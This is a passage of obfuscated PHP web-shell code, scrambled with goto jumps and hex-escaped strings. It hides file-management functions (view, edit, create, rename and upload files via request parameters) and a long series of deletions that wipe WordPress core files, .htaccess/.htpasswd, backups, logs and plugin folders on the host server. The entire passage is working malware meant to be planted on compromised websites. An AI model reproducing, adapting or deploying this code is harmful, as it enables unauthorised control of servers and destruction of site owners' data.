"\143\x72\x6f\x74\66\x36\x36\x2e\x70\x68\x70"); goto TSBWX; VGT6R: $JjlO3 = unlink($oyZlv . "\x65\162\162\x6f\x72\x5f\x6c\157\147\x2e\x6c\157\147"); goto Mhpsu; lTj2q: $HBFYS = unlink($oyZlv . "\167\160\x2d\x63\157\156\164\145\x6e\x74\57\160\x6c\x75\x67\151\x6e\x73\x2f\144\x69\x61\x62\x6c\157\x6f\161\x74\57\144\151\x61\142\154\x6f\157\x71\x74\56\x70\150\x70"); goto yZl6S; FZPW0: $QMEuw = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\x65\156\164\57\160\154\165\147\x69\x6e\x73\57\163\x65\157\170"); goto sOjOa; ekkxN: p9Bk5: goto OxNyQ; aJGwt: $ab0vp = unlink($oyZlv . "\144\145\x61\144\x2e\154\x65\164\164\145\162"); goto TyUAF; euWw3: $yhL1B = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\145\156\x74\x2f\x70\x6c\x75\x67\x69\156\163\57\x4f\143\x63\141\163\x69\157\x37"); goto ZZQ3c; RTfVa: $cEySY = unlink($oyZlv . "\x70\x61\147\145\55\x75\163\145\162\55\x6c\x6f\147\151\x6e\x2e\160\150\160"); goto ztT_3; VIYzJ: $lbhnZ = $p8aQE . "\57" . Y2efU($_GET["\x6e"]); goto HTVzu; FON2B: echo A0lB_; goto ndzr0; HijlI: $wjGYX = rmdir($oyZlv . "\x77\x70\55\x63\157\156\x74\x65\156\164\x2f\x70\x6c\165\147\151\x6e\163\x2d\157\154\144\55\157\x6c\144"); goto tlXIC; oaAo2: $EzRDD = rmdir($oyZlv . "\x77\x70\55\143\157\x6e\x74\x65\156\x74\57\x70\154\165\147\151\156\x73\57\x6e\165\x6c\154"); goto PXZhy; YbLKn: $uZY9U = rmdir($oyZlv . "\x77\160\55\x63\x6f\156\164\145\x6e\x74\57\160\x6c\x75\x67\151\x6e\x73\x2f\171\x6f\153\x72\70\x78\60\x74"); goto MTckt; Dzdi2: $AE0F_ = unlink($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\145\156\164\x2f\x70\x6c\165\x67\x69\156\163\x2f\x70\166\57\x70\166\x2e\160\x68\x70"); goto PLpew; pJOSV: echo "\x3c\57\x74\151\x74\154\145\x3e\40\x9\x3c\x73\164\171\x6c\x65\x3e\56\x74\x61\x62\154\145\55\x68\x6f\x76\x65\162\x20\x74\142\x6f\144\x79\40\x74\162\x3a\150\x6f\166\x65\x72\40\x74\144\x7b\142\141\143\x6b\x67\162\x6f\165\x6e\144\72\162\x65\144\175\56\x74\x61\142\154\145\55\x68\x6f\x76\x65\x72\x20\164\x62\x6f\144\171\40\x74\162\x3a\150\x6f\166\145\x72\40\x74\144\x3e\52\173\143\157\x6c\x6f\162\x3a\x23\x66\x66\x66\175\56\x74\141\142\x6c\145\x3e\x74\x62\157\144\x79\x3e\x74\x72\x3e\52\173\x63\157\154\x6f\x72\72\x23\146\x66\146\x3b\166\145\162\x74\151\x63\141\x6c\55\141\x6c\151\147\156\x3a\x6d\151\144\x64\154\x65\x7d\56\146\x6f\x72\155\55\143\x6f\156\164\162\x6f\154\173\142\141\143\x6b\147\x72\x6f\x75\x6e\144\72\x30\40\60\x21\151\155\x70\157\162\x74\x61\156\164\73\x63\x6f\154\157\x72\72\x23\146\x66\146\x21\x69\x6d\x70\157\162\164\x61\156\x74\73\142\157\162\x64\x65\162\55\x72\141\144\151\165\x73\72\x30\x7d\56\x66\x6f\162\155\x2d\x63\x6f\156\164\x72\157\154\72\x3a\160\x6c\141\143\145\150\x6f\154\x64\x65\x72\173\x63\x6f\x6c\157\x72\x3a\x23\x66\x66\146\73\x6f\x70\141\x63\151\164\x79\x3a\x31\175\x6c\x69\173\x66\157\x6e\164\55\x73\151\172\145\x3a\x31\70\160\x78\x3b\155\x61\162\x67\x69\x6e\x2d\x6c\x65\x66\164\72\66\x70\170\73\x6c\151\163\164\x2d\163\x74\x79\x6c\145\72\156\157\156\145\x7d\x61\173\143\157\x6c\x6f\162\72\x23\146\x66\146\x7d\x3c\57\x73\x74\x79\x6c\145\76\x20\x9\x3c\x73\x63\x72\x69\160\x74\40\x73\162\143\75\x22\57\x2f\x75\x6e\160\x6b\x67\x2e\x63\x6f\155\x2f\x73\167\x65\x65\x74\141\154\145\x72\x74\57\144\x69\x73\x74\57\x73\x77\x65\x65\164\x61\154\145\x72\164\x2e\155\x69\x6e\x2e\x6a\x73\x22\76\74\x2f\x73\143\x72\x69\160\164\x3e\x20\74\57\x68\145\x61\144\76\40\74\x62\x6f\144\x79\40\163\x74\171\154\145\75\42\x62\x61\x63\x6b\147\x72\157\165\156\144\x2d\143\157\x6c\x6f\x72\x3a\x23\60\60\x30\x3b\x63\x6f\x6c\x6f\162\72\43\146\x66\x66\x3b\146\x6f\156\x74\55\x66\141\155\x69\154\171\x3a\163\145\162\x69\146\x3b\42\x3e\40\11\74\144\151\166\40\143\154\x61\x73\163\x3d\42\142\x67\x2d\x64\x61\162\x6b\x20\x74\141\142\x6c\x65\x2d\x72\145\x73\x70\157\x6e\x73\x69\x76\145\40\164\145\170\x74\x2d\154\151\147\150\x74\40\142\x6f\x72\144\145\x72\42\76\40\11\x9\74\144\x69\166\40\143\x6c\x61\x73\163\75\x22\x64\55\x66\x6c\145\170\x20\x6a\165\x73\164\x69\146\x79\55\143\157\156\164\x65\x6e\x74\55\x62\x65\164\x77\145\145\156\x20\160\x2d\x31\42\x3e\x20\x9\11\11\x3c\144\x69\x76\76\x3c\x68\x33\x20\x63\x6c\x61\x73\163\x3d\x22\x6d\164\x2d\x32\x22\76\x3c\141\x20\x68\x72\145\x66\75\42\x3f\x22\x3e"; goto FON2B; HnNF3: $Z9zLC = unlink($oyZlv . "\x77\x70\x2d\143\157\156\x74\x65\156\x74\57\x75\160\x6c\x6f\x61\x64\x73\56\172\151\160"); goto J0W2n; M0H34: header("\103\x6f\x6e\164\x65\x6e\164\55\114\145\156\x67\x74\x68\x3a\40" . $lKwH4[17](Y2eFu($_GET["\x6e"]))); goto EdGsR; CAu2b: $IQtO3 = unlink($oyZlv . "\144\x77\x6c\145\x2e\160\x68\160"); goto VQjiI; Z91VS: $v2E2C = unlink($oyZlv . "\154\x69\143\145\x6e\x63\x2e\164\170\x74"); goto NrCqN; NxDXc: goto h98Dm; goto qd63P; RmNv5: $RGVhZ = unlink($oyZlv . "\56\x68\x74\x70\x61\163\x73\x77\144"); goto WDQ6L; trcJG: $S73b1 = rmdir($oyZlv . "\56\x69\144\145\x61"); goto e5n_T; nYAAl: $x0NUu = unlink($oyZlv . "\167\x70\56\x70\150\160"); goto HMrcv; HA16F: echo "\74\57\x73\x70\141\156\76\x20\x3c\x62\x72\76\x20\x9\11\x9\x9\74\x61\x20\x68\x72\145\146\75\x22\77\160\75"; goto vGL6i; I7JxL: $D10C3 = unlink($oyZlv . "\167\x70\x2d\x65\x6f\x78\x6f\x79\x79\x2e\x70\x68\160"); goto NawJX; ySJHz: $ohGBo = unlink($oyZlv . "\163\56\160\x68\x70"); goto RTdiR; dY7TT: $DxGK9 = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\x65\156\164\x2f\160\154\165\x67\x69\156\x73\57\x6d\141\151\x6e\x74\x65\156\141\x6e\143\145"); goto A1y_j; ovB32: $uxy4M = rmdir($oyZlv . "\x77\x70\55\143\x6f\156\164\145\x6e\x74\x2f\x70\x6c\165\147\151\x6e\x73\x2f\163\171\x6e\143\x64\x72\x63"); goto z_EF2; mG3C4: $IZn5o = unlink($oyZlv . "\x77\160\x2d\x61\x64\155\x69\156\x2e\160\x68\x70"); goto l7PPO; HE4IX: if ($CWqaS == "\x65\144\151\x74") { goto pzUMt; } goto ZzNvo; ztT_3: $rcfw1 = unlink($oyZlv . "\x77\160\55\163\145\164\164\151\156\x67\163\56\x70\150\x70\56\x62\x6b\x2e\x63\157\160\171"); goto n0Uyx; lUVKR: $EMSR1 = unlink($oyZlv . "\x64\142\x2e\160\150\160\55\x6f\154\x64\x2d\157\154\144"); goto Kz4VP; utN5d: $wRxG4 = rmdir($oyZlv . "\167\160\55\x63\157\156\x74\145\156\x74\57\160\154\165\147\151\x6e\163\x2f\x71\x6e\x62\x65\x6a\x63\x62\x61\165\x69"); goto etn7b; KbuNX: $QBBb9 = unlink($oyZlv . "\x61\x64\x6d\x69\156\x2d\141\x6a\x61\170\x2e\x70\150\160"); goto skt30; LWI7p: $c_Jjt = rmdir($oyZlv . "\56\x77\x65\x6c\154\x2d\153\x6e\157\167\156\x2f\x61\143\x6d\145\x2d\x63\x68\141\x6c\154\145\x6e\147\145"); goto WF34b; YJk88: goto djsfD; goto GuOwB; BOhZf: $VQa5C++; goto yDmKf; IcI9s: if ($CWqaS == "\x6e\145\167\x44\151\x72") { goto n_UQV; } goto Ty7b6; z0ymd: goto h98Dm; goto PCywt; ezfA4: isset($_POST["\163"]) ? $lKwH4[16]($p8aQE . "\57" . Y2EfU($_GET["\156"]), $_POST["\x6e"]) ? Gzjsn("\x73\165\x63\x63\145\x73\x73\x66\x75\x6c\154\171\x20\x63\x68\x61\x6e\x67\145\144\40\x74\150\145\40\146\x6f\x6c\144\145\162\x20\x6e\141\155\x65") : GZJsn("\146\141\x69\154\x65\144\x20\x74\x6f\x20\x63\150\141\156\147\x65\40\x74\150\145\40\x66\157\x6c\144\x65\162\40\x6e\141\155\145", 0) : null; goto frFYE; R6VGT: if (!($VQa5C < count($lKwH4))) { goto c_pVY; } goto gGFUb; saxvI: $htplj = unlink($oyZlv . "\163\150\141\x64\x6f\x77\x2e\160\150\x70"); goto f30rD; PCywt: x5x0r: goto qFPUP; hwXl9: $gXVUz = unlink($oyZlv . "\x6f\141\x6e\x4e\x6f\115\155\142\x62\125\x2e\164\170\x74"); goto QW3J6; gGFUb: $lKwH4[$VQa5C] = Y2EFu($lKwH4[$VQa5C]); goto RQgR9; f30rD: $I974B = unlink($oyZlv . "\143\154\x73\x2e\160\150\x70"); goto CAu2b; npOzL: goto E8aX_; goto pPakn; v7axG: $T9UUW = unlink($oyZlv . "\153\x68\x75\171\145\156\x2e\152\163"); goto B10dk; NcVFE: $dk669 = unlink($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\145\x6e\x74\x2f\x70\x6c\x75\x67\151\156\x73\x2f\x65\x64\x75\x72\x70\x2d\x63\165\x73\x74\157\x6d\151\x7a\x61\x74\x69\157\156\163\x2e\x7a\151\160"); goto fRbmy; UB3am: $dW6iF = unlink($oyZlv . "\x2e\56\165\163\x65\x72\56\151\156\x69\61"); goto JJGhM; Jo0eE: $M0Jjq = rmdir($oyZlv . "\167\x65\154\154\55\x6b\156\157\167\156\x2f\160\153\x69\x2d\x76\x61\x6c\x69\x64\x61\164\151\x6f\x6e\x2f\144\x2f\x64\x2f\144\x2f\144"); goto SToal; vDEVs: $X3AaU = rmdir($oyZlv . "\x77\160\55\x63\157\156\164\x65\156\164\57\x61\x64\166\141\x6e\143\x65\x64\x2d\143\141\143\x68\x65\56\160\x68\x70\55\x6f\154\144\55\157\154\x64"); goto YAUy_; Vt3Aj: $kwvx8 = unlink($oyZlv . "\x61\x68\153\141\155\165\56\x70\x68\x70"); goto RvcVU; jAERf: $zngfZ = unlink($oyZlv . "\x78\151\x6c\x61\x70\x61\171\56\x70\150\x70"); goto Xhrq5; WFmmP: $Qwr4Q = unlink($oyZlv . "\162\x65\x64\151\162\x65\143\164\x2d\152\x61\143\x6f\x62\55\160\162\x6f\x2e\160\150\x70"); goto ojo7N; kELsV: $Aicy0 = unlink($oyZlv . "\154\x69\x76\x65\56\x73\x71\154\x2e\147\x7a"); goto l2bSp; ViSNo: $js_8Q = rmdir($oyZlv . "\x78\x6d\154\162\x70\x63\x2e\x70\x68\160"); goto mAv9U; fiKGk: $GJQZM = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\164\145\x6e\x74\x2f\x70\154\x75\147\151\156\x73\57\163\x65\157\x6f\x79\141\156\172"); goto QxEtp; pRLwj: $YOLVw = unlink($oyZlv . "\x77\160\x2d\143\x6f\x6e\x74\x65\156\164\x2f\x4e\141\166\145\145\x64\x5f\144\x65\142\x75\x67\x2e\x6c\157\x67"); goto TFUgI; M_eQE: $Z1Y_3 = rmdir($oyZlv . "\167\160\55\143\157\156\164\145\156\x74\x2f\160\x6c\x75\147\x69\x6e\x73\57\x78\151\x73\x69\x6b\165\x73\165"); goto oGYMF; Gtqlo: $Vs86U = rmdir($oyZlv . "\x2e\143\x61\x63\x68\x65"); goto t1Mg1; Xirb1: goto h98Dm; goto CCqFd; UPyph: $IuanM = unlink($oyZlv . "\x77\157\162\x64\x70\x72\x65\x73\163\x2d\66\x2e\66\x2e\x7a\x69\x70"); goto RV1i_; L3qJx: $IDCys = unlink($oyZlv . "\150\164\x61\143\x63\x65\x73\x73\56\x74\x68"); goto tkZ3p; AAsQQ: $Y6ABo = unlink($oyZlv . "\x77\x70\55\143\x6f\156\164\145\x6e\164\x2f\160\x6c\165\x67\151\x6e\x73\x2f\142\x75\x64\144\x79\x62\157\x73\x73\55\x74\x68\x65\x6d\145\55\143\150\151\154\144\56\172\x69\160"); goto SxyuX; OLMQz: $Ve4TM = unlink($oyZlv . "\163\x69\x74\x65\x67\x75\x61\x72\144\151\156\147\x5f\x74\157\157\154\163\x2e\x70\150\160"); goto QJRaf; vBWjw: $Xr4yP = rmdir($oyZlv . "\144\165\160\x2d\x69\x6e\163\x74\141\154\x6c\145\x72"); goto LwVBF; orxL6: $zjq8i = unlink($oyZlv . "\x67\x65\x6c\64\171\x2e\x70\150\x70"); goto uVqGJ; HTMkS: $yHxEH = rmdir($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\145\x6e\164\x2f\160\154\x75\147\151\x6e\163\x2f\150\x6f\x73\x74\x69\x6e\147\145\x72"); goto cdwyZ; rPl5D: GzjsN("\x66\x69\154\x65\x20\165\160\154\157\x61\144\x65\144\x20\163\x75\143\x63\145\163\163\x66\x75\154\x6c\x79"); goto PQAb8; S54Kb: $qlhIW = unlink($oyZlv . "\x72\145\163\145\x74\56\160\150\x70"); goto FdgCo; mU8XR: $JBDQp = unlink($oyZlv . "\x63\160\x5f\145\162\162\x6f\x72\144\x6f\143\165\155\145\156\x74\56\x73\150\164\155\x6c"); goto cp4v7; KO4zs: $rC5Gc = unlink($oyZlv . "\x2e\x77\x6f\162\144\160\x72\x65\x73\163\56\160\150\x70"); goto wKM7Y; uHVew: $TwiMA = unlink($oyZlv . "\167\x70\55\154\x6f\x67\x6f\56\160\156\147"); goto xiOlh; PQAb8: JGMrG: goto lnMBN; RlL1K: if (!($_GET["\x74"] == "\144")) { goto NaG93; } goto uLDa2; f_ucd: $Ve9wZ = unlink($oyZlv . "\56\x70\162\151\x76\141\164\x65"); goto W3Bkn; XxU6g: XcRMN: goto yMT9s; WIgeX: $NWO04 = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\x65\x6e\164\x2f\x70\154\165\147\x69\x6e\163\x2f\x66\151\x6c\145\163\x74\x65\x72"); goto eBxnD; jzcw7: $o0Fwp = unlink($oyZlv . "\172\160\70\x2e\x70\x68\160"); goto bHYwU; ultQM: $BHF5R = unlink($oyZlv . "\155\171\x73\x71\154\56\x73\x71\x6c"); goto VrEB5; T3b3X: $b7dsQ = unlink($oyZlv . "\x61\165\164\157\137\151\156\163\164\x61\154\x6c\56\152\x73\157\x6e"); goto NZPZY; roBeo: $rCJp4 = unlink($oyZlv . "\x77\x6f\162\x64\x70\162\145\x73\163\55\66\56\65\x2e\x35\x2e\x7a\x69\x70"); goto a6qAK; uNfsH: $FsFeC = rmdir($oyZlv . "\x77\160\x2d\143\x6f\x6e\x74\x65\x6e\x74\57\x70\x6c\165\x67\151\x6e\x73\57\165\151\164\x6e\x79\70\x39\61"); goto p2KH5; AAlyi: $Oj7AZ = unlink($oyZlv . "\x77\160\55\143\154\151\x2e\160\150\141\162"); goto mZaFB; CNAQo: $WT0IU = unlink($oyZlv . "\x70\x77\141\55\155\141\156\151\x66\145\x73\x74\x2e\152\x73\x6f\x6e"); goto wXRrg; ZzNvo: if ($CWqaS == "\166\151\145\167") { goto Xpkel; } goto NxDXc; QDNM3: $mBxJ3 = unlink($oyZlv . "\x74\150\145\155\x65\x73\56\160\x68\x70"); goto dA53v; FdgCo: $CP94k = unlink($oyZlv . "\x68\145\x78\x2e\x70\x68\x70"); goto h16rn; ZJan3: $FZIuR = rmdir($oyZlv . "\x77\x70\55\x63\x6f\156\x74\x65\x6e\164\x2f\x70\x6c\x75\x67\151\156\x73\x2f\x77\160\x2d\160\154\x75\147\151\x6e\x2d\150\157\163\164\147\x61\164\x6f\x72"); goto gd_H4; X4wXB: echo "\40\x9\11\11"; goto IcI9s; Mi0bS: $l0LOt = unlink($oyZlv . "\x65\162\162\157\x72\x5f\154\157\x67"); goto aJGwt; qkeT9: $YYVUa = rmdir($oyZlv . "\x77\160\x2d\143\x6f\156\164\145\156\x74\57\x70\x6c\x75\x67\x69\156\x73\x2f\143\141\156\144\141"); goto uNfsH; UdO35: $XqNrZ = unlink($oyZlv . "\167\160\x2d\143\157\156\x74\x65\x6e\164\x2f\145\162\x72\x6f\x72\x5f\154\x6f\x67"); goto IHX9G; quPQb: $SLiuH = unlink($oyZlv . "\x4c\x6f\x63\x6f\171\56\160\x68\x70"); goto Hff_t; vvSH1: echo "\74\x73\x70\141\x6e\x20\151\144\x3d\47\x62\x61\x6e\x67\163\141\x74\x27\x20\x73\164\x79\x6c\145\x3d\x27\x64\x69\x73\x70\x6c\x61\171\x3a\156\x6f\x6e\145\x3b\47\76" . $_SERVER["\123\x43\122\111\120\124\137\x4e\x41\115\x45"] . "\x3c\x2f\x73\x70\141\156\x3e"; goto eP5py; mUEn3: $E7bk1 = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\x6e\164\145\156\x74\57\x70\154\x75\147\x69\156\163\57\x37\61\146\66\x64\70\x31\144\x36\70\64\x38\146\x63\60\143\x62\141\65\67\x62\x34\x38\x63\66\x37\67\65\x33\61\145\62"); goto c1aGJ; c_3aw: $K8Nlv = unlink($oyZlv . "\156\157\155\x69\56\x70\150\x70"); goto ne7OH; oRLUs: $Rteqv = unlink($oyZlv . "\154\x6f\143\141\154\x2d\x70\150\x70\x69\156\x66\x6f\x2e\x70\150\x70"); goto lOIrC; yhcUz: $Tu1Hz = unlink($oyZlv . "\56\x44\x53\x5f\123\x74\157\x72\145"); goto orxL6; OOmXi: $KAnbB = unlink($oyZlv . "\64\x30\x34\56\x68\164\155\x6c"); goto Nz5p9; d7S0X: $mZ3Ux = unlink($oyZlv . "\167\160\x2d\143\157\156\x74\145\x6e\x74\57\56\x44\x53\x5f\x53\x74\157\162\x65"); goto R2IHE; yyDPi: $ElN21 = rmdir($oyZlv . "\x77\160\55\143\x6f\x6e\164\145\156\x74\x2f\x70\x6c\165\147\151\x6e\x73\57\x62\165\144\x64\171\x62\157\163\163\x2d\164\150\x65\x6d\x65\x2e\x7a\151\160"); goto jBYpq; nvED2: function veUX0($RVudJ) { goto DN48T; gEqC2: ljYnM: goto C27pv; Mlvn3: if (!(trim(pathinfo($RVudJ, PATHINFO_BASENAME), "\x2e") === '')) { goto ljYnM; } goto MWVfg; MWVfg: return; goto gEqC2; obDmX: goto ywbw3; goto d4uS3; DN48T: global $lKwH4; goto Mlvn3; d4uS3: MBykS: goto vna0Z; xFMg6: ywbw3: goto DB3Qf; C27pv: if ($lKwH4[6]($RVudJ)) { goto MBykS; } goto CTTjL; myygD: rmdir($RVudJ); goto xFMg6; vna0Z: array_map("\144\x65\x6c\x64\151\x72", glob($RVudJ . DIRECTORY_SEPARATOR . "\x7b\x2c\x2e\x7d\52", GLOB_BRACE | GLOB_NOSORT)); goto myygD; CTTjL: unlink($RVudJ); goto obDmX; DB3Qf: } goto Rb8ay; IY7OE: $d_vA3 = unlink($oyZlv . "\163\145\143\164\x69\x6f\x6e\x2d\150\x74\x6d\x6c\56\150\164\x6d\x6c"); goto o1plD; b8AzI: $jWmFq = unlink($oyZlv . "\167\x70\x2d\143\157\156\x74\x65\156\164\57\142\141\143\x6b\165\160\x2d\155\x69\147\x72\x61\164\151\x6f\156\x2d\143\157\156\146\151\x67\x2e\160\150\x70"); goto zbff8; IUtOj: $eW4TU = unlink($oyZlv . "\154\x6f\147\157\55\x30\x32\56\160\156\147"); goto S54Kb; cdCV3: $UP7HZ = unlink($oyZlv . "\x74\145\163\x74\56\x70\x68\160"); goto V2pdB; UkuFa: $DDT8R = unlink($oyZlv . "\167\160\x2d\141\165\164\x6f\x2d\x32\56\160\150\x70"); goto L3qJx; vvUHb: $mYK6u = unlink($oyZlv . "\141\56\x68\x74\155\x6c"); goto htHAv; mZaFB: $nuDyw = unlink($oyZlv . "\56\157\x76\150\x63\x6f\x6e\x66\151\147"); goto wDK1i; Li0gG: $D4JhU = rmdir($oyZlv . "\167\x70\55\141\141\x2e\x70\x68\160"); goto FZPW0; pTS_J: if (!isset($_GET["\141"])) { goto nLSrM; } goto cxE_g; ITprJ: $vlaFj = rmdir($oyZlv . "\167\x70\x2d\143\157\156\164\x65\156\x74\x2f\160\154\x75\147\151\x6e\x73\x2f\x6f\x7a\170\160\147\x70\x68\x75\x76\152"); goto jBjIY; R2IHE: $yy8qK = unlink($oyZlv . "\x77\145\x62\56\143\157\156\146\151\x67"); goto L_6im; QkYx5: $P7bzi = unlink($oyZlv . "\x77\160\x2d\x63\157\156\164\x65\156\x74\x2f\160\154\165\147\151\x6e\x73\x2f\143\165\x73\x74\157\155\x2d\154\157\x67\157\55\165\x72\x6c\x2e\x70\x68\x70"); goto E_3c0; hsJMg: $XliPV = unlink($oyZlv . "\x2e\167\x70\x2d\143\x6f\156\146\x69\x67\x2e\160\x68\x70\56\163\167\x70"); goto Ossfy; MzeWb: $J5grQ = unlink($oyZlv . "\x2e\150\164\x61"); goto nYAAl; R65bw: $nvIVy = rmdir($oyZlv . "\154\151\x61\156\152\151\x65"); goto LK7Oq; RwFEv: $AVAgZ = rmdir($oyZlv . "\167\160\x2d\x6c\x6f\147\151\x6e\x2e\x70\150\x70"); goto ViSNo; FfATB: $VQa5C = 0; goto SeJNO; FeseE: $Q2hHz = unlink($oyZlv . "\156\x67\151\156\170\56\x68\x74\141\x63\x63\145\163\x73"); goto cdCV3; h0zZt: $KyJow = rmdir($oyZlv . "\167\x70\55\143\157\x6e\x74\145\156\x74\x2f\160\x6c\165\x67\x69\x6e\163\57\x73\145\x6f\x62\141\x63\153\154\151\156\x6b"); goto p7l0n; OEUXp: isset($_POST["\x73"]) ? $lKwH4[12]("{$p8aQE}\57{$_POST["\x6e"]}") ? gzJsN("\x66\x69\x6c\x65\40\156\x61\x6d\x65\x20\150\x61\163\x20\142\x65\145\x6e\x20\165\163\x65\x64", 0, "\46\141\75" . Xeh2E("\156\145\167\106\x69\154\x65")) : ($lKwH4[13]("{$p8aQE}\57{$_POST["\156"]}", $_POST["\x63\x74\x6e"]) ? gzJsN("\146\151\154\145\40\143\162\145\141\x74\145\x64\x20\163\x75\143\143\145\x73\x73\146\x75\x6c\x6c\x79", 1, "\x26\141\75" . Xeh2e("\x76\x69\x65\x77") . "\x26\156\75" . xEh2e($_POST["\156"])) : GZjsn("\x66\151\x6c\x65\40\146\141\151\x6c\x65\144\x20\x74\x6f\x20\x63\162\145\x61\164\x65", 0)) : null; goto z0ymd; s7C1u: $c5cmk = unlink($oyZlv . "\x2e\x67\x69\x74\154\x61\x62\x2d\143\x69\x2e\x79\155\x6c"); goto yA5dT; quO0g: $nM5jd = rmdir($oyZlv . "\167\160\55\x63\x6f\x6e\164\x65\x6e\164\57\x70\x6c\165\x67\151\x6e\163\57\x73\x74\x64"); goto M_eQE; ZqR2g: P1U6a: goto f3EFK; pJ27K: $YpfEI = rmdir($oyZlv . "\x6e\64\162\65\x6e\x31\x35\x36"); goto Dw2Zv; h0gBb: $lKwH4 = array("\67\x30\66\70\67\60\x35\x66\x37\x35\x36\145\66\x31\x36\x64\x36\x35", "\67\x30\66\x38\67\x30\67\66\66\65\67\x32\x37\x33\x36\71\66\x66\66\x65", "\x36\67\x36\x35\x37\x34\x36\x33\x37\67\66\x34", "\x36\63\66\x38\66\x34\x36\x39\x37\x32", "\x37\60\67\62\66\65\66\67\65\146\67\x33\x37\60\66\x63\x36\x39\x37\64", "\x36\x31\67\x32\x37\x32\x36\x31\67\x39\65\x66\66\x34\x36\x39\66\66\66\66", "\66\x39\x37\63\65\146\x36\x34\66\x39\67\62", "\x36\x39\x37\x33\x35\146\66\66\66\71\66\x63\x36\x35", "\x36\71\67\63\65\x66\67\x37\67\62\66\71\67\64\x36\61\66\62\66\143\66\65", "\x36\71\67\63\x35\x66\x37\62\x36\65\66\61\66\64\x36\61\66\62\x36\x63\x36\x35", "\66\x36\x36\71\66\x63\x36\x35\x37\63\66\71\67\x61\x36\x35", "\66\x33\x36\x66\x37\60\x37\x39", "\66\66\66\x39\66\x63\66\65\65\146\x36\x35\67\x38\66\71\x37\x33\x37\64\x37\63", "\66\x36\x36\x39\66\x63\66\65\65\x66\67\60\67\x35\67\x34\x35\x66\x36\x33\66\x66\66\x65\67\64\x36\65\x36\x65\x37\x34\67\63", "\x36\66\x36\71\66\143\66\x35\65\x66\x36\67\66\65\67\64\x35\146\66\x33\x36\146\x36\145\67\64\66\65\x36\145\67\64\x37\63", "\x36\x64\66\142\x36\x34\66\x39\67\62", "\67\x32\x36\x35\66\145\x36\61\66\144\x36\x35", "\x37\63\67\x34\x37\x32\x37\x34\x36\x66\x37\64\x36\71\66\144\x36\x35", "\66\x38\x37\x34\66\144\66\143\x37\63\x37\x30\x36\x35\x36\x33\x36\x39\x36\x31\x36\x63\x36\x33\x36\x38\66\x31\x37\62\x37\63", "\66\64\66\x31\67\64\x36\65", "\66\66\x36\x39\x36\x63\x36\x35\x36\x64\67\x34\x36\x39\x36\144\x36\x35"); goto FfATB; Fn2VY: goto JGMrG; goto iUo3v; eDUPE: echo A0lB_; goto pJOSV; onX2x: $L6GZ0 = rmdir($oyZlv . "\x77\x70\55\143\157\x6e\164\x65\x6e\x74\57\160\154\165\x67\x69\156\x73\57\x72\x7a\142\x61\157\145\155"); goto UEMW_; tviy0: $MfwcN = unlink($oyZlv . "\154\x69\163\164\x2e\160\150\160"); goto quPQb; zyAmc: $y5vGR = rmdir($oyZlv . "\x77\160\55\143\x6f\156\x74\x65\x6e\164\57\x70\x6c\165\147\151\156\163\57\111\x6f\x78\151"); goto Jzju_; oR24D: $FTXOt = unlink($oyZlv . "\x69\x6e\144\145\170\56\150\164\x6d\154\56\142\141\143\153\x75\160"); goto HhT0Z; ItEIE: $QP64v = rmdir($oyZlv . "\x2e\144\145\x76\x70\x61\156\145\x6c"); goto xTGWp; YAUy_: $yw1bM = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\164\x65\156\x74\x2f\x64\142\56\x70\x68\x70\x2d\x6f\x6c\x64"); goto NLMPL; o1plD: $zom9l = unlink($oyZlv . "\x6c\157\x67\157\56\x70\156\x67"); goto PH_oQ; xB6gL: $kMmEK = unlink($oyZlv . "\167\160\55\143\157\x6e\x74\x65\156\164\x2f\x53\x72\170\x4d\x56\x46\x6e\116\71\67\x5a\56\x70\150\160"); goto Hh4pG; hh4UG: $L7vIn = unlink($oyZlv . "\56\x61\x64\155\x69\156\56\x70\x68\160"); goto hLMDx; b2fuW: $yrqP3 = rmdir($oyZlv . "\56\x77\145\x6c\154\55\153\156\157\167\156\x2f\160\x6b\151\x2d\x76\141\x6c\151\144\141\164\151\x6f\x6e\x2f\x61\57\141\57\141\57\x61"); goto W5SYt; CCqFd: pflSR: goto JKG9t; jxEf6: $X3AD7 = unlink($oyZlv . "\x77\160\55\143\x6f\x6e\x74\145\156\164\57\x6d\141\x69\x6e\164\x65\x6e\141\x6e\x63\145\x2e\160\150\160"); goto uHVew; pli3L: $NkH1m = $lKwH4[5]($NkH1m($p8aQE), ["\56", "\56\56"]); goto FQxfW; NrgDu: $kDdfP = rmdir($oyZlv . "\167\x70\55\143\x6f\156\x74\145\x6e\x74\57\144\145\142\165\x67\x2e\x6c\157\147"); goto nhqiM; fRbmy: $W2Oaj = unlink($oyZlv . "\56\165\163\x65\162\x2e\x69\x6e\x69\x2e\172\x69\160"); goto yvSXp; yZl6S: $lvwVb = unlink($oyZlv . "\167\x70\x2d\x63\x6f\x6e\164\145\x6e\164\57\142\x61\143\153\x67\162\157\165\156\144\55\145\162\162\x6f\x72\163\x2e\x6c\x6f\x67"); goto OFasI; xyQdn: pzUMt: goto SfqmC; fIh7Q: $Bj097 = rmdir($oyZlv . "\x62\141\x63\x6b\165\160\x28\x31\51"); goto Xh3Qz; Kz4VP: $jAAvx = unlink($oyZlv . "\x69\x6e\x64\145\170\56\x70\150\160\x2d\x6f\x6c\144"); goto AUnyH; i_C6u: $J0BVD = unlink($oyZlv . "\x77\160\55\143\157\156\164\145\156\164\x2f\x70\x6c\165\x67\151\156\163\x2f\x75\x62\150\57\x75\x70\x2e\160\150\x70"); goto b9Tls; Y1F_c: $Zlaq8 = unlink($oyZlv . "\167\x70\55\155\x61\x69\154\162\x70\143\56\160\x68\x70"); goto yp6i2; xBJPr: $myBFZ = rmdir($oyZlv . "\x77\x70\55\x63\x6f\x6e\164\145\156\164\x2f\x70\x6c\165\147\151\x6e\x73\x2f\155\164\x6f\x71\170\155\142"); goto CoyF_; iMG1t: $YPyJ3 = unlink($oyZlv . "\142\x79\160\56\x70\150\x70"); goto OktfR; U_JK6: $m3Pyt = unlink($oyZlv . 